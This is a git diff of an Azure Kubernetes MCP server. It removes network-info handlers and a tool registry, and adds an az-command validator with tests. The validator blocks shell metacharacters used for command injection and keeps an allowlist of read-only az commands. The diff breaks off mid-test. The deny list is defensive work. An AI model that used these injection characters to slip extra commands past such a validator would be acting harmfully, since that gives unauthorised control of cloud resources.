fmt.Sprintf("/subscriptions/%s/resourceGroups/%s/providers/Microsoft.ContainerService/managedClusters/%s", - subscriptionID, resourceGroup, clusterName), - } - } - - // Try to get cluster info first to extract subnet resources - cluster, err := getClusterFromCacheOrFetch(ctx, clusterResourceID, client, cache) - if err != nil { - return nil, fmt.Errorf("failed to get AKS cluster: %v", err) - } - - // Use the resourcehelpers to get the subnet ID from the AKS cluster - subnetID, err := resourcehelpers.GetSubnetIDFromAKS(ctx, cluster, client, cache) - - // If subnet information wasn't found, return an empty response with a log message - if err != nil || subnetID == "" { - message := "No subnet found for this AKS cluster" - fmt.Printf("WARNING: %s: %v\n", message, err) - return mcp.NewToolResultText(fmt.Sprintf(`{"message": "%s"}`, message)), nil - } - - // Validate the subnet ID by trying to parse it - _, err = azure.ParseResourceID(subnetID) - if err != nil { - return nil, fmt.Errorf("failed to parse subnet ID: %v", err) - } - - // Get the subnet from cache or fetch from Azure - resource, err := getResourceByIDFromCacheOrFetch(ctx, subnetID, client, cache) - if err != nil { - return nil, fmt.Errorf("failed to get subnet details: %v", err) - } - - subnet, ok := resource.(*armnetwork.Subnet) - if !ok { - return nil, fmt.Errorf("resource is not a Subnet") - } - - // Return the raw ARM response - jsonStr, err := formatJSON(subnet) - if err != nil { - return nil, fmt.Errorf("failed to marshal subnet info: %v", err) - } - - return mcp.NewToolResultText(jsonStr), nil - } -} diff --git a/internal/handlers/vnet.go b/internal/handlers/vnet.go deleted file mode 100644 index d2d321b..0000000 --- a/internal/handlers/vnet.go +++ /dev/null @@ -1,90 +0,0 @@ -// Package handlers provides handler functions for AKS MCP tools. -package handlers - -import ( - "context" - "fmt" - - "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork/v2" - "github.com/azure/aks-mcp/internal/azure" - "github.com/azure/aks-mcp/internal/azure/resourcehelpers" - "github.com/azure/aks-mcp/internal/config" - "github.com/mark3labs/mcp-go/mcp" - "github.com/mark3labs/mcp-go/server" -) - -// GetVNetInfoHandler returns a handler for the get_vnet_info tool. -// It can handle both single-cluster and multi-cluster cases based on the configuration. -func GetVNetInfoHandler(client *azure.AzureClient, cache *azure.AzureCache, cfg *config.Config) server.ToolHandlerFunc { - return func(ctx context.Context, request mcp.CallToolRequest) (*mcp.CallToolResult, error) { - var clusterResourceID *azure.AzureResourceID - var err error - - // Determine which resource ID to use based on the configuration - if cfg.SingleClusterMode { - // Use the pre-configured resource ID for single-cluster mode - clusterResourceID = cfg.ParsedResourceID - } else { - // For multi-cluster mode, extract parameters from the request - subscriptionID, _ := request.GetArguments()["subscription_id"].(string) - resourceGroup, _ := request.GetArguments()["resource_group"].(string) - clusterName, _ := request.GetArguments()["cluster_name"].(string) - - // Validate required parameters - if subscriptionID == "" || resourceGroup == "" || clusterName == "" { - return nil, fmt.Errorf("missing required parameters: subscription_id, resource_group, and cluster_name") - } - - // Create a temporary resource ID for this request - clusterResourceID = &azure.AzureResourceID{ - SubscriptionID: subscriptionID, - ResourceGroup: resourceGroup, - ResourceName: clusterName, - ResourceType: azure.ResourceTypeAKSCluster, - FullID: fmt.Sprintf("/subscriptions/%s/resourceGroups/%s/providers/Microsoft.ContainerService/managedClusters/%s", - subscriptionID, resourceGroup, clusterName), - } - } - - // Try to get cluster info first to extract VNet info - cluster, err := getClusterFromCacheOrFetch(ctx, clusterResourceID, client, cache) - if err != nil { - return nil, fmt.Errorf("failed to get AKS cluster: %v", err) - } - - // Use the resourcehelpers to get the VNet ID from the AKS cluster - vnetID, err := resourcehelpers.GetVNetIDFromAKS(ctx, cluster, client, cache) - - // If VNet information wasn't found, return an empty response with a log message - if err != nil || vnetID == "" { - message := "No virtual network found for this AKS cluster" - fmt.Printf("WARNING: %s: %v\n", message, err) - return mcp.NewToolResultText(fmt.Sprintf(`{"message": "%s"}`, message)), nil - } - - // Validate the VNet ID by trying to parse it - _, err = azure.ParseResourceID(vnetID) - if err != nil { - return nil, fmt.Errorf("failed to parse VNet ID: %v", err) - } - - // Get the VNet from cache or fetch from Azure - resource, err := getResourceByIDFromCacheOrFetch(ctx, vnetID, client, cache) - if err != nil { - return nil, fmt.Errorf("failed to get VNet details: %v", err) - } - - vnet, ok := resource.(*armnetwork.VirtualNetwork) - if !ok { - return nil, fmt.Errorf("resource is not a VirtualNetwork") - } - - // Return the raw ARM response - jsonStr, err := formatJSON(vnet) - if err != nil { - return nil, fmt.Errorf("failed to marshal VNet info: %v", err) - } - - return mcp.NewToolResultText(jsonStr), nil - } -} diff --git a/internal/models/models.go b/internal/models/models.go deleted file mode 100644 index 126976f..0000000 --- a/internal/models/models.go +++ /dev/null @@ -1,96 +0,0 @@ -// This package is not used for now. -// TODO: do we need our own models to represent the data we get from Azure? -// Nowa it is reusing the Azure SDK models directly, but that might easily reach token limits so we might need to -// create our own models in the future to reduce the amount of data we send over the wire. - -// Package models provides data models for AKS MCP server. -package models - -// ClusterInfo represents basic information about an AKS cluster. -type ClusterInfo struct { - Name string `json:"name"` - ResourceGroup string `json:"resourceGroup"` - Location string `json:"location"` - KubernetesVersion string `json:"kubernetesVersion"` - NodeResourceGroup string `json:"nodeResourceGroup"` - NetworkPlugin string `json:"networkPlugin"` - NetworkPolicy string `json:"networkPolicy"` - DNSPrefix string `json:"dnsPrefix"` - FQDN string `json:"fqdn"` - AgentPoolProfiles []string `json:"agentPoolProfiles"` - SubscriptionID string `json:"subscriptionId"` - ResourceID string `json:"resourceId"` - NetworkProfile string `json:"networkProfile"` - APIServerAccessProfile string `json:"apiServerAccessProfile"` -} - -// VNetInfo represents information about a virtual network. -type VNetInfo struct { - Name string `json:"name"` - ResourceGroup string `json:"resourceGroup"` - Location string `json:"location"` - ID string `json:"id"` - AddressSpace []string `json:"addressSpace"` - Subnets []SubnetInfo `json:"subnets"` - Tags map[string]string `json:"tags"` - ResourceGUID string `json:"resourceGuid"` - ProvisioningState string `json:"provisioningState"` -} - -// SubnetInfo represents information about a subnet. -type SubnetInfo struct { - Name string `json:"name"` - ID string `json:"id"` - AddressPrefix string `json:"addressPrefix"` - NetworkSecurityGroup string `json:"networkSecurityGroup,omitempty"` - RouteTable string `json:"routeTable,omitempty"` - ProvisioningState string `json:"provisioningState"` -} - -// RouteTableInfo represents information about a route table. -type RouteTableInfo struct { - Name string `json:"name"` - ResourceGroup string `json:"resourceGroup"` - Location string `json:"location"` - ID string `json:"id"` - Routes []RouteInfo `json:"routes"` - Tags map[string]string `json:"tags"` - ProvisioningState string `json:"provisioningState"` -} - -// RouteInfo represents information about a route. -type RouteInfo struct { - Name string `json:"name"` - ID string `json:"id"` - AddressPrefix string `json:"addressPrefix"` - NextHopType string `json:"nextHopType"` - NextHopIPAddress string `json:"nextHopIpAddress,omitempty"` - ProvisioningState string `json:"provisioningState"` -} - -// NSGInfo represents information about a network security group. -type NSGInfo struct { - Name string `json:"name"` - ResourceGroup string `json:"resourceGroup"` - Location string `json:"location"` - ID string `json:"id"` - SecurityRules []NSGRule `json:"securityRules"` - DefaultSecurityRules []NSGRule `json:"defaultSecurityRules"` - Tags map[string]string `json:"tags"` - ProvisioningState string `json:"provisioningState"` -} - -// NSGRule represents information about a network security group rule. -type NSGRule struct { - Name string `json:"name"` - ID string `json:"id"` - Protocol string `json:"protocol"` - SourceAddressPrefix string `json:"sourceAddressPrefix"` - SourcePortRange string `json:"sourcePortRange"` - DestinationAddressPrefix string `json:"destinationAddressPrefix"` - DestinationPortRange string `json:"destinationPortRange"` - Access string `json:"access"` - Priority int32 `json:"priority"` - Direction string `json:"direction"` - ProvisioningState string `json:"provisioningState"` -} diff --git a/internal/registry/clustertools.go b/internal/registry/clustertools.go deleted file mode 100644 index 701c696..0000000 --- a/internal/registry/clustertools.go +++ /dev/null @@ -1,71 +0,0 @@ -// Package registry provides a tool registry for AKS MCP server. -package registry - -import ( - "github.com/azure/aks-mcp/internal/handlers" - "github.com/mark3labs/mcp-go/mcp" -) - -// registerClusterTools registers all tools related to AKS clusters. -func (r *ToolRegistry) registerClusterTools() { - cfg := r.GetConfig() - - // Register get_cluster_info tool - var clusterTool mcp.Tool - if cfg.SingleClusterMode { - clusterTool = mcp.NewTool( - "get_cluster_info", - mcp.WithDescription("Get information about the AKS cluster"), - ) - } else { - clusterTool = mcp.NewTool( - "get_cluster_info", - mcp.WithDescription("Get information about the AKS cluster"), - mcp.WithString("subscription_id", - mcp.Description("Azure Subscription ID"), - mcp.Required(), - ), - mcp.WithString("resource_group", - mcp.Description("Azure Resource Group containing the AKS cluster"), - mcp.Required(), - ), - mcp.WithString("cluster_name", - mcp.Description("Name of the AKS cluster"), - mcp.Required(), - ), - ) - } - // Register the tool with the unified handler - r.RegisterTool( - "get_cluster_info", - clusterTool, - handlers.GetClusterInfoHandler(r.GetClient(), r.GetCache(), cfg), - CategoryCluster, - AccessRead, - ) - - // Only register list_aks_clusters tool when not in SingleClusterMode - if !cfg.SingleClusterMode { - // Register list_aks_clusters tool - listClustersTool := mcp.NewTool( - "list_aks_clusters", - mcp.WithDescription("List AKS clusters in a subscription and optional resource group"), - mcp.WithString("subscription_id", - mcp.Description("Azure Subscription ID"), - mcp.Required(), - ), - mcp.WithString("resource_group", - mcp.Description("Optional: Azure Resource Group to filter clusters by"), - ), - ) - - // Register the list clusters tool - r.RegisterTool( - "list_aks_clusters", - listClustersTool, - handlers.ListClustersHandler(r.GetClient(), r.GetCache(), cfg), - CategoryCluster, - AccessRead, - ) - } -} diff --git a/internal/registry/networktools.go b/internal/registry/networktools.go deleted file mode 100644 index c02f6c3..0000000 --- a/internal/registry/networktools.go +++ /dev/null @@ -1,146 +0,0 @@ -// Package registry provides a tool registry for AKS MCP server. -package registry - -import ( - "github.com/azure/aks-mcp/internal/handlers" - "github.com/mark3labs/mcp-go/mcp" -) - -// registerNetworkTools registers all tools related to networking. -func (r *ToolRegistry) registerNetworkTools() { - cfg := r.GetConfig() - - var vnetTool mcp.Tool - if cfg.SingleClusterMode { - vnetTool = mcp.NewTool( - "get_vnet_info", - mcp.WithDescription("Get information about the VNet used by the AKS cluster"), - ) - } else { - vnetTool = mcp.NewTool( - "get_vnet_info", - mcp.WithDescription("Get information about the VNet used by the AKS cluster"), - mcp.WithString("subscription_id", - mcp.Description("Azure Subscription ID"), - mcp.Required(), - ), - mcp.WithString("resource_group", - mcp.Description("Azure Resource Group containing the AKS cluster"), - mcp.Required(), - ), - mcp.WithString("cluster_name", - mcp.Description("Name of the AKS cluster"), - mcp.Required(), - ), - ) - } - // Register get_vnet_info tool - r.RegisterTool( - "get_vnet_info", - vnetTool, - handlers.GetVNetInfoHandler(r.GetClient(), r.GetCache(), cfg), - CategoryNetwork, - AccessRead, - ) - - var routeTableTool mcp.Tool - if cfg.SingleClusterMode { - routeTableTool = mcp.NewTool( - "get_route_table_info", - mcp.WithDescription("Get information about the route tables used by the AKS cluster"), - ) - } else { - routeTableTool = mcp.NewTool( - "get_route_table_info", - mcp.WithDescription("Get information about the route tables used by the AKS cluster"), - mcp.WithString("subscription_id", - mcp.Description("Azure Subscription ID"), - mcp.Required(), - ), - mcp.WithString("resource_group", - mcp.Description("Azure Resource Group containing the AKS cluster"), - mcp.Required(), - ), - mcp.WithString("cluster_name", - mcp.Description("Name of the AKS cluster"), - mcp.Required(), - ), - ) - } - // Register get_route_table_info tool - r.RegisterTool( - "get_route_table_info", - routeTableTool, - handlers.GetRouteTableInfoHandler(r.GetClient(), r.GetCache(), cfg), - CategoryNetwork, - AccessRead, - ) - - var nsgTool mcp.Tool - if cfg.SingleClusterMode { - nsgTool = mcp.NewTool( - "get_nsg_info", - mcp.WithDescription("Get information about the network security groups used by the AKS cluster"), - ) - } else { - nsgTool = mcp.NewTool( - "get_nsg_info", - mcp.WithDescription("Get information about the network security groups used by the AKS cluster"), - mcp.WithString("subscription_id", - mcp.Description("Azure Subscription ID"), - mcp.Required(), - ), - mcp.WithString("resource_group", - mcp.Description("Azure Resource Group containing the AKS cluster"), - mcp.Required(), - ), - mcp.WithString("cluster_name", - mcp.Description("Name of the AKS cluster"), - mcp.Required(), - ), - ) - } - // Register get_nsg_info tool - r.RegisterTool( - "get_nsg_info", - nsgTool, - handlers.GetNSGInfoHandler(r.GetClient(), r.GetCache(), cfg), - CategoryNetwork, - AccessRead, - ) - - // Create Subnet tool with parameters if needed - var subnetTool mcp.Tool - if cfg.SingleClusterMode { - subnetTool = mcp.NewTool( - "get_subnet_info", - mcp.WithDescription("Get information about the subnets used by the AKS cluster"), - ) - } else { - subnetTool = mcp.NewTool( - "get_subnet_info", - mcp.WithDescription("Get information about the subnets used by the AKS cluster"), - mcp.WithString("subscription_id", - mcp.Description("Azure Subscription ID"), - mcp.Required(), - ), - mcp.WithString("resource_group", - mcp.Description("Azure Resource Group containing the AKS cluster"), - mcp.Required(), - ), - mcp.WithString("cluster_name", - mcp.Description("Name of the AKS cluster"), - mcp.Required(), - ), - ) - } - - // Register get_subnet_info tool - r.RegisterTool( - "get_subnet_info", - subnetTool, - handlers.GetSubnetInfoHandler(r.GetClient(), r.GetCache(), cfg), - CategoryNetwork, - AccessRead, - ) -} diff --git a/internal/registry/registertools.go b/internal/registry/registertools.go deleted file mode 100644 index a4fb64a..0000000 --- a/internal/registry/registertools.go +++ /dev/null @@ -1,13 +0,0 @@ -// Package registry provides a tool registry for AKS MCP server. -package registry - -// RegisterAllTools registers all tools with the registry. -func (r *ToolRegistry) RegisterAllTools() { - // Register cluster tools - r.registerClusterTools() - - // Register network tools - r.registerNetworkTools() - - // Register other tool categories as needed -} diff --git a/internal/registry/registry.go b/internal/registry/registry.go deleted file mode 100644 index 99f9c60..0000000 --- a/internal/registry/registry.go +++ /dev/null @@ -1,108 +0,0 @@ -// Package registry provides a tool registry for AKS MCP server. -package registry - -import ( - "github.com/azure/aks-mcp/internal/azure" - "github.com/azure/aks-mcp/internal/config" - "github.com/mark3labs/mcp-go/mcp" - "github.com/mark3labs/mcp-go/server" -) - -// ToolCategory defines a category for tools. -type ToolCategory string - -// ToolAccessLevel defines access level required for a tool. -type ToolAccessLevel string - -const ( - // CategoryCluster defines tools related to AKS clusters. - CategoryCluster ToolCategory = "cluster" - // CategoryNetwork defines tools related to networking. - CategoryNetwork ToolCategory = "network" - // CategorySecurity defines tools related to security. - CategorySecurity ToolCategory = "security" - // CategoryGeneral defines general tools. - CategoryGeneral ToolCategory = "general" - - // AccessRead represents read-only access level. - AccessRead ToolAccessLevel = "read" - // AccessReadWrite represents read-write access level. - AccessReadWrite ToolAccessLevel = "readwrite" - // AccessAdmin represents administrative access level. - AccessAdmin ToolAccessLevel = "admin" -) - -// ToolDefinition defines a tool and its handler. -type ToolDefinition struct { - Tool mcp.Tool - Handler server.ToolHandlerFunc - Category ToolCategory - AccessLevel ToolAccessLevel -} - -// ToolRegistry is a registry of tools for the AKS MCP server. -type ToolRegistry struct { - tools map[string]ToolDefinition - azureProvider azure.AzureProvider - config *config.Config -} - -// NewToolRegistry creates a new tool registry. -func NewToolRegistry(azureProvider azure.AzureProvider, cfg *config.Config) *ToolRegistry { - return &ToolRegistry{ - tools: make(map[string]ToolDefinition), - azureProvider: azureProvider, - config: cfg, - } -} - -// RegisterTool registers a tool with the registry. -func (r *ToolRegistry) RegisterTool(name string, tool mcp.Tool, handler server.ToolHandlerFunc, category ToolCategory, accessLevel ToolAccessLevel) { - r.tools[name] = ToolDefinition{ - Tool: tool, - Handler: handler, - Category: category, - AccessLevel: accessLevel, - } -} - -// GetCache returns the cache. -func (r *ToolRegistry) GetCache() *azure.AzureCache { - return r.azureProvider.GetCache() -} - -// GetClient returns the Azure client. -func (r *ToolRegistry) GetClient() *azure.AzureClient { - return r.azureProvider.GetClient() -} - -// GetConfig returns the configuration. -func (r *ToolRegistry) GetConfig() *config.Config { - return r.config -} - -// ConfigureMCPServer registers all tools with the MCP server. -func (r *ToolRegistry) ConfigureMCPServer(mcpServer *server.MCPServer) { - configAccessLevel := r.config.AccessLevel - - for _, def := range r.tools { - // Filter tools based on access level - if shouldRegisterTool(string(def.AccessLevel), configAccessLevel) { - mcpServer.AddTool(def.Tool, def.Handler) - } - } -} - -// shouldRegisterTool determines if a tool should be registered based on access level. -func shouldRegisterTool(toolAccessLevel, configAccessLevel string) bool { - switch configAccessLevel { - case "read": - return toolAccessLevel == "read" - case "readwrite": - return toolAccessLevel == "read" || toolAccessLevel == "readwrite" - case "admin": - return true // Admin has access to all tools - default: - return toolAccessLevel == "read" // Default to read-only for unknown access levels - } -} diff --git a/internal/security/security.go b/internal/security/security.go new file mode 100644 index 0000000..5225a4c --- /dev/null +++ b/internal/security/security.go @@ -0,0 +1,14 @@ +package security + +// SecurityConfig holds security-related configuration +type SecurityConfig struct { + // AccessLevel controls the level of operations allowed (readonly, readwrite, admin) + AccessLevel string +} + +// NewSecurityConfig creates a new SecurityConfig instance +func NewSecurityConfig() *SecurityConfig { + return &SecurityConfig{ + AccessLevel: "readwrite", + } +} diff --git a/internal/security/validator.go b/internal/security/validator.go new file mode 100644 index 0000000..932bcf5 --- /dev/null +++ b/internal/security/validator.go @@ -0,0 +1,329 @@ +package security + +import ( + "strings" +) + +// Command type constants +const ( + CommandTypeAz = "az" +) + +var ( + // AzReadOperations defines az operations that don't modify state + AzReadOperations = []string{ + // Cluster information commands + "az aks show", + "az aks list", + "az aks get-versions", + "az aks get-upgrades", + "az aks check-acr", + "az aks check-network outbound", + "az aks browse", + + // Addon commands + "az aks addon list", + "az aks addon show", + + // Nodepool commands + "az aks nodepool list", + "az aks nodepool show", + "az aks nodepool get-upgrades", + + // Operation and snapshot commands + "az aks operation", + "az aks snapshot list", + "az aks snapshot show", + + // Trusted access commands + "az aks trustedaccess rolebinding list", + "az aks trustedaccess rolebinding show", + + // Other read operations + "az aks install-cli", + // "az aks get-credentials", // Commented out as it may require special handling + + // Account management commands + "az account list", + "az account set", + "az login", + + // Azure Advisor commands (read-only) + "az advisor recommendation list", + "az advisor recommendation show", + + // Azure Monitor metrics commands (read-only) + "az monitor metrics list", + "az monitor metrics list-definitions", + "az monitor metrics list-namespaces", + + // Other general commands + "az find", + "az version", + "az help", + "az config", + "az group list", + "az group show", + "az resource list", + "az resource show", + } +) + +// Validator handles validation of commands against security configuration +type Validator struct { + secConfig *SecurityConfig +} + +// NewValidator creates a new Validator instance with the given security configuration +func NewValidator(secConfig *SecurityConfig) *Validator { + return &Validator{ + secConfig: secConfig, + } +} + +// ValidationError represents a security validation error +type ValidationError struct { + Message string +} + +func (e *ValidationError) Error() string { + return e.Message +} + +// getReadOperationsList returns the appropriate list of read operations based on command type +func (v *Validator) getReadOperationsList(commandType string) []string { + switch commandType { + case CommandTypeAz: + return AzReadOperations + default: + return []string{} + } +} + +// ValidateCommand validates a command against all security settings +// The command parameter should be the full command string (e.g., "az aks show --name myCluster") +// AzReadOperations should now contain full command prefixes with "az" included +func (v *Validator) ValidateCommand(command, commandType string) error { + readOperations := v.getReadOperationsList(commandType) + + // Check for command injection attempts + if err := v.validateCommandInjection(command); err != nil { + return err + } + + // Check access level restrictions + if err := v.validateAccessLevel(command, readOperations); err != nil { + return err + } + + return nil +} + +// validateCommandInjection checks for command injection patterns +func (v *Validator) validateCommandInjection(command string) error { + // Check if this contains a here document operator + containsHereDoc := strings.Contains(command, "<<") + + // Validate here document if present + if containsHereDoc { + if err := v.validateHereDocument(command); err != nil { + return err + } + } + + // Define dangerous characters and patterns that could be used for command injection + dangerousPatterns := []string{ + ";", // Command separator + "|", // Pipe + "&", // Background execution or AND operator + "`", // Command substitution (backticks) + "&&", // AND operator + "||", // OR operator + ">>", // Append redirection + // Note: "<<" (here document) is allowed for legitimate use cases like providing JSON/YAML payloads + ">", // Output redirection + "$(", // Command substitution + "${", // Variable substitution that could be misused + // Note: "<" is handled separately below to allow "<<" but block single "<" + } + + // Only block newlines and carriage returns if it's NOT a complete here document + isCompleteHereDoc := containsHereDoc && v.isCompleteHereDocument(command) + if !isCompleteHereDoc { + dangerousPatterns = append(dangerousPatterns, "\n", "\r") + } + + for _, pattern := range dangerousPatterns { + if strings.Contains(command, pattern) { + return &ValidationError{Message: "Error: Command contains potentially dangerous characters or patterns"} + } + } + + // Special handling for input redirection - allow "<<" but block single "<" + if strings.Contains(command, "<") { + // If command contains "<", make sure all instances are part of "<<" + // This prevents cases like "az aks show < malicious_file" + for i := 0; i < len(command); i++ { + if command[i] == '<' { + // Check if this '<' is part of '<<' + if i+1 >= len(command) || command[i+1] != '<' { + // This is a standalone '<' which is dangerous + return &ValidationError{Message: "Error: Command contains potentially dangerous characters or patterns"} + } + // Skip the next '<' since we've verified it's part of '<<' + i++ + } + } + } + + return nil +} + +// validateAccessLevel validates if a command is allowed based on the current access level +func (v *Validator) validateAccessLevel(command string, readOperations []string) error { + // Check if this is a read operation + isReadOperation := v.isReadOperation(command, readOperations) + + // Handle restrictions based on access level + switch v.secConfig.AccessLevel { + case "readonly": + if !isReadOperation { + return &ValidationError{Message: "Error: Cannot execute write operations in read-only mode"} + } + case "readwrite": + // All read and write operations are allowed, but not admin operations + // Admin operations are handled separately by not registering those commands + case "admin": + // All operations are allowed + default: + // Default to readwrite behavior for unknown access levels + // This could alternatively return an error for invalid access levels + } + + return nil +} + +// isReadOperation checks if a command is a read operation +func (v *Validator) isReadOperation(command string, allowedOperations []string) bool { + // Check if the command contains help flags - these are always read-only + if strings.Contains(command, "--help") || strings.Contains(command, " -h ") || strings.HasSuffix(command, " -h") { + return true + } + + // Normalize command by removing any options/arguments + // This extracts the base command like "az aks show" from "az aks show --name myCluster" + cmdParts := strings.Fields(command) + + if len(cmdParts) == 0 || cmdParts[0] != CommandTypeAz { + return false + } + + // For az commands, we need to handle various command structures: + // - "az version" (2 parts) + // - "az aks show" (3 parts) + // - "az aks check-network outbound" (4 parts) + // - "az aks trustedaccess rolebinding list" (5 parts) + // - "az aks nodepool get-upgrades" (4 parts) + + // We'll try to match the longest possible command first by checking against allowed operations + for _, allowed := range allowedOperations { + allowedParts := strings.Fields(allowed) + + // Skip if the allowed operation has more parts than our command + if len(allowedParts) > len(cmdParts) { + continue + } + + // Check if the command starts with this allowed operation + match := true + for i, allowedPart := range allowedParts { + if i >= len(cmdParts) || cmdParts[i] != allowedPart { + match = false + break + } + } + + if match { + return true + } + } + + return false +} + +// validateHereDocument validates the structure of here document commands +func (v *Validator) validateHereDocument(command string) error { + // A complete here document should have: + // 1. The << operator + // 2. A delimiter after << + // 3. Either content with terminator or be a legitimate single-line command + + // Find all << occurrences + hereDocIndex := strings.Index(command, "<<") + if hereDocIndex == -1 { + return nil // No here document + } + + // Extract everything after << + afterHereDoc := command[hereDocIndex+2:] + afterHereDoc = strings.TrimSpace(afterHereDoc) + + // If there's nothing after <<, it's malformed + if afterHereDoc == "" { + return &ValidationError{Message: "Error: Command contains potentially dangerous characters or patterns"} + } + + // Split by whitespace to get the delimiter + parts := strings.Fields(afterHereDoc) + if len(parts) == 0 { + return &ValidationError{Message: "Error: Command contains potentially dangerous characters or patterns"} + } + + // Extract the part before << to check if it has sufficient arguments + beforeHereDoc := command[:hereDocIndex] + beforeHereDocParts := strings.Fields(beforeHereDoc) + + // If the command ends with just "< delimiter" and has minimal arguments + // (like "az aks create << EOF"), consider it incomplete and dangerous + // But if it has more arguments (like "az aks create --name test << EOF"), allow it + if len(parts) == 1 && !strings.Contains(command, "\n") && !strings.Contains(command, "\r") { + // Check if the command before << has sufficient arguments + // Commands like "az aks create << EOF" (3 parts) should be blocked + // Commands like "az aks create --name test << EOF" (5+ parts) should be allowed + if len(beforeHereDocParts) <= 3 { + return &ValidationError{Message: "Error: Command contains potentially dangerous characters or patterns"} + } + } + + return nil +} + +// isCompleteHereDocument checks if a command contains a complete here document +func (v *Validator) isCompleteHereDocument(command string) bool { + // A complete here document should have content and/or be multi-line + if !strings.Contains(command, "<<") { + return false + } + + // If it contains newlines or carriage returns, it's likely a complete here document + if strings.Contains(command, "\n") || strings.Contains(command, "\r") { + return true + } + + // For single-line here documents, we need to be more careful + // Simple case: "az deployment create --template-body << EOF {content} EOF" + hereDocIndex := strings.Index(command, "<<") + afterHereDoc := command[hereDocIndex+2:] + afterHereDoc = strings.TrimSpace(afterHereDoc) + + parts := strings.Fields(afterHereDoc) + + // If we have more than just the delimiter, it might be a complete single-line here doc + if len(parts) > 1 { + return true + } + + return false +} + +// isReadOperation determines if a command is a read-only operation diff --git a/internal/security/validator_test.go b/internal/security/validator_test.go new file mode 100644 index 0000000..ffcff36 --- /dev/null +++ b/internal/security/validator_test.go @@ -0,0 +1,883 @@ +package security + +import ( + "strings" + "testing" +) + +func TestValidateCommand(t *testing.T) { + tests := []struct { + name string + accessLevel string + command string + wantErr bool + }{ + { + name: "ReadOnly_ReadCommand_ShouldSucceed", + accessLevel: "readonly", + command: "az aks show --name myCluster --resource-group myRG", + wantErr: false, + }, + { + name: "ReadOnly_WriteCommand_ShouldFail", + accessLevel: "readonly", + command: "az aks create --name myCluster --resource-group myRG", + wantErr: true, + }, + { + name: "ReadWrite_ReadCommand_ShouldSucceed", + accessLevel: "readwrite", + command: "az aks show --name myCluster --resource-group myRG", + wantErr: false, + }, + { + name: "ReadWrite_WriteCommand_ShouldSucceed", + accessLevel: "readwrite", + command: "az aks create --name myCluster --resource-group myRG", + wantErr: false, + }, + { + name: "Admin_ReadCommand_ShouldSucceed", + accessLevel: "admin", + command: "az aks show --name myCluster --resource-group myRG", + wantErr: false, + }, + { + name: "Admin_WriteCommand_ShouldSucceed", + accessLevel: "admin", + command: "az aks create --name myCluster --resource-group myRG", + wantErr: false, + }, + { + name: "Admin_AdminCommand_ShouldSucceed", + accessLevel: "admin", + command: "az aks get-credentials --name myCluster --resource-group myRG", + wantErr: false, + }, + { + name: "PartialCommand_ShouldMatch", + accessLevel: "readonly", + command: "az version", + wantErr: false, + }, + { + name: "AccountCommands_ShouldWork", + accessLevel: "readonly", + command: "az account list", + wantErr: false, + }, + { + name: "MonitorMetrics_ListCommand_ShouldWork", + accessLevel: "readonly", + command: "az monitor metrics list --resource /subscriptions/test/resourceGroups/rg/providers/Microsoft.ContainerService/managedClusters/cluster", + wantErr: false, + }, + { + name: "MonitorMetrics_ListDefinitionsCommand_ShouldWork", + accessLevel: "readonly", + command: "az monitor metrics list-definitions --resource /subscriptions/test/resourceGroups/rg/providers/Microsoft.ContainerService/managedClusters/cluster", + wantErr: false, + }, + { + name: "MonitorMetrics_ListNamespacesCommand_ShouldWork", + accessLevel: "readonly", + command: "az monitor metrics list-namespaces --resource /subscriptions/test/resourceGroups/rg/providers/Microsoft.ContainerService/managedClusters/cluster", + wantErr: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + secConfig := &SecurityConfig{ + AccessLevel: tt.accessLevel, + } + validator := NewValidator(secConfig) + err := validator.ValidateCommand(tt.command, CommandTypeAz) + if (err != nil) != tt.wantErr { + t.Errorf("ValidateCommand() error = %v, wantErr %v", err, tt.wantErr) + } + }) + } +} + +func TestIsReadOperation(t *testing.T) { + tests := []struct { + name string + command string + allowList []string + want bool + }{ + { + name: "ExactMatch", + command: "az aks show --name myCluster", + allowList: []string{"az aks show", "az aks list"}, + want: true, + }, + { + name: "NoMatch", + command: "az aks create --name myCluster", + allowList: []string{"az aks show", "az aks list"}, + want: false, + }, + { + name: "PrefixMatch", + command: "az account list", + allowList: []string{"az account", "az aks show"}, + want: true, + }, + { + name: "TwoWordCommand", + command: "az version", + allowList: []string{"az version", "az help"}, + want: true, + }, + { + name: "NonAzCommand", + command: "kubectl get pods", + allowList: []string{"az aks show", "az aks list"}, + want: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + validator := NewValidator(&SecurityConfig{}) + if got := validator.isReadOperation(tt.command, tt.allowList); got != tt.want { + t.Errorf("isReadOperation() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestAccessLevelValidation(t *testing.T) { + // Setup common allowed operations + readOps := []string{"az aks show", "az aks list"} + + tests := []struct { + name string + accessLevel string + command string + wantErr bool + }{ + { + name: "ReadOnly_ReadCommand", + accessLevel: "readonly", + command: "az aks show --name myCluster", + wantErr: false, + }, + { + name: "ReadOnly_WriteCommand", + accessLevel: "readonly", + command: "az aks create --name myCluster", + wantErr: true, + }, + { + name: "ReadWrite_ReadCommand", + accessLevel: "readwrite", + command: "az aks show --name myCluster", + wantErr: false, + }, + { + name: "ReadWrite_WriteCommand", + accessLevel: "readwrite", + command: "az aks create --name myCluster", + wantErr: false, + }, + { + name: "Admin_ReadCommand", + accessLevel: "admin", + command: "az aks show --name myCluster", + wantErr: false, + }, + { + name: "Admin_WriteCommand", + accessLevel: "admin", + command: "az aks create --name myCluster", + wantErr: false, + }, + { + name: "Unknown_ReadCommand", + accessLevel: "unknown", + command: "az aks show --name myCluster", + wantErr: false, // Default to readwrite behavior + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + secConfig := &SecurityConfig{ + AccessLevel: tt.accessLevel, + } + validator := NewValidator(secConfig) + err := validator.validateAccessLevel(tt.command, readOps) + if (err != nil) != tt.wantErr { + t.Errorf("validateAccessLevel() error = %v, wantErr %v", err, tt.wantErr) + } + }) + } +} + +func TestIsReadOperation_HelpFlags(t *testing.T) { + tests := []struct { + name string + command string + expected bool + }{ + { + name: "create with --help should be read-only", + command: "az aks create --help", + expected: true, + }, + { + name: "delete with -h should be read-only", + command: "az aks delete -h", + expected: true, + }, + { + name: "nodepool add with --help should be read-only", + command: "az aks nodepool add --help", + expected: true, + }, + { + name: "command ending with -h should be 